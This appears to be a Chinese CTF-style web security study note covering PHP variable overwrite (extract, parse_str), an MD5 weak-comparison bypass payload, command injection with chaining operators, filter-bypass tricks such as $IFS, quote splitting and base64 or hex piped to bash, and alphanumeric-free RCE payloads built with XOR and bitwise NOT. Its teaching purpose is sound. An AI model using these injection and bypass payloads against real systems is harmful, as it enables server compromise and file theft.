Web安全学习笔记2

变量覆盖

用传参的值替换掉原有变量的值

运用函数:

Extract() 

漏洞:

<?php
    $arr = $_GET['arr'];
    extract($arr);
    @$d($_POST['a']);
>

传入arr数组中d的值然后再使用extract()函数将变量d的值给赋予再直接调用d变量名的函数即可是实现一些漏洞。例如:

 Parse_str()

   实例:

综合例题
<?php
if(!isset($_GET['id'])) {
    show_source(__FILE__);
    die;
}
include_once('flag.php');
$a = 'TESTCTF';
$id = $_GET['id'];
@parse_str($id);
if($a[0] != 'QNKCDZO' && md5($a[0]) == md5('QNKCDZO')){
    die($flag);
}else{
die('emmm');
}

题解:

使用get传参传入id,并进行变量覆盖。然后看if里面的语句:a变为了数组,a[0]不能等于'QNKCDZO'并且a[0]的哈希值不能等于'QNKCDZO'。我们可以先看看这个字符串的哈希值为多少。0e830400451993494058024219903391​发现是0e,是科学计数法,并且是弱类型比较,所以我们找到哈希值为0e开头的即可,所以得到payload:?id=a[0]=s878926199a

命令执行漏洞

命令执行是一种攻击,其目标是通过易受攻击的应用程序在主机操作系统上执行任意命令。当应用需要调用一些外部程序去处理内容的情况下,就会用到一些执行系统命令的函数。如php中的system,exec,shell_exec等,当用户可以控制命令执行函数中的参数时,将可注入恶意系统命令到正常命令中,造成命令执行攻击。

<?php
    $username = $_GET('username');
    system("mkdir $username");

mkdir是创建目录的函数。

如果正常传入username=abc不会产生漏洞,但如果传入abc;cat /flag此时有一个分号结束了创建目录这个命令但是后面还有恶意代码,这样子就会输出flag,这就是命令注入。

命令注入是一种常见的漏洞形态。一旦存在命令注入漏洞,攻击者就可以在目标系统执行任意命令。命令注入攻击常用在向程序传入不安全参数(命令行参数,http头,cookie头)

漏洞位点

程序过滤不严谨,导致用户可以将代码注入并执行。

高危函数:eval(),assert(),preg_replace,call_user_func()等等

对于执行命令的函数,参数过滤不严谨,导致直接命令执行。

高危函数:system(),exec(),shell_exec,passthru(),pctnl_exec,popen(),proc_open()

联合执行

分号

cmd1;cmd2;cmd3

cmd1将首先运行,不管cmd1运行成功还是失败,cmd2都会运行,以此类推

&&

cmd1&&cmd2&&cmd3

只有在前一个命令执行成功结束时下一个命令才会执行

||

cmd1||cmd2||cmd3

前一个命令出现错误的时候才会运行下一个命令

|

cmd1 | cmd2

前一个命令的结果作为后一个命令的参数

例如:

echo xxx | base64

Bypass

当cat × 空格× /flag× 时就需要绕过

过滤空格

$IFS   ${IFS} $IFS$9 < <> 

用逗号实现空格功能:{cat,/flag.php}需要加括号。

过滤某些关键字

ca$@t fla$@g.php    $@空变量绕过

ca\t fla\g.php      反斜线绕过

cat fla''g.php      两个单引号绕过

echo "Y2F0IHkxbmcucGhw" | base64 -d | bash    bash 编码绕过

echo "6361742079316E672E706870" | xxd -r -p | bash  hex编码绕过

cat fl[a]g.php   用[]匹配

cat fla*            用*匹配任意

内联执行

无字母数字RCE

例题:

<?php
if(isset($_GET['code'])){
    $code = $_GET['code'];
    if(preg_match("/[a-z0-9]+/i",$code)){
        die("NO.");
    }
    eval($code);
}else{
    highlight_file(__FILE__);
}

在php中可以通过("字符串")();的方式调用函数

方法

异或:
<?php
$a = "ls";

for($i = 0;$i < strlen($a);$i++) {
    echo "%".dechex(ord($a[$i])^0xff);
}
echo "^";
for($i = 0;$i < strlen($a);$i++) {
    echo"%ff";
}

通过赋予a不同值取得它的异或值即可不用字母数字就可以绕过

取反:
<?php
$a="phpinfo";
echo "~(";
for($i = 0;$i<strlen($a);$i++) {
    echo "%".bin2hex(~$a[$i]);
}
echo ")";

与上处相同意思

?><?=`/???/???%20*`;

>?是结束前面的php执行

<? 是短标签可以省略php

<?= 表示 <? echo

为了输出才加上?><?=

``反引号意味着 shell_exec 执行系统命令

/???/??? *     ?表示单个符号的任意, *表示多符号任意

/bin/cat flag.php

create_function

create_function(string $args,string $code)   创建函数的简单方式

<?php
	$f=create_function('$a,$b','echo($a+$b);');
	$f(1,2);
?>	
  

  • 29
    点赞
  • 23
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值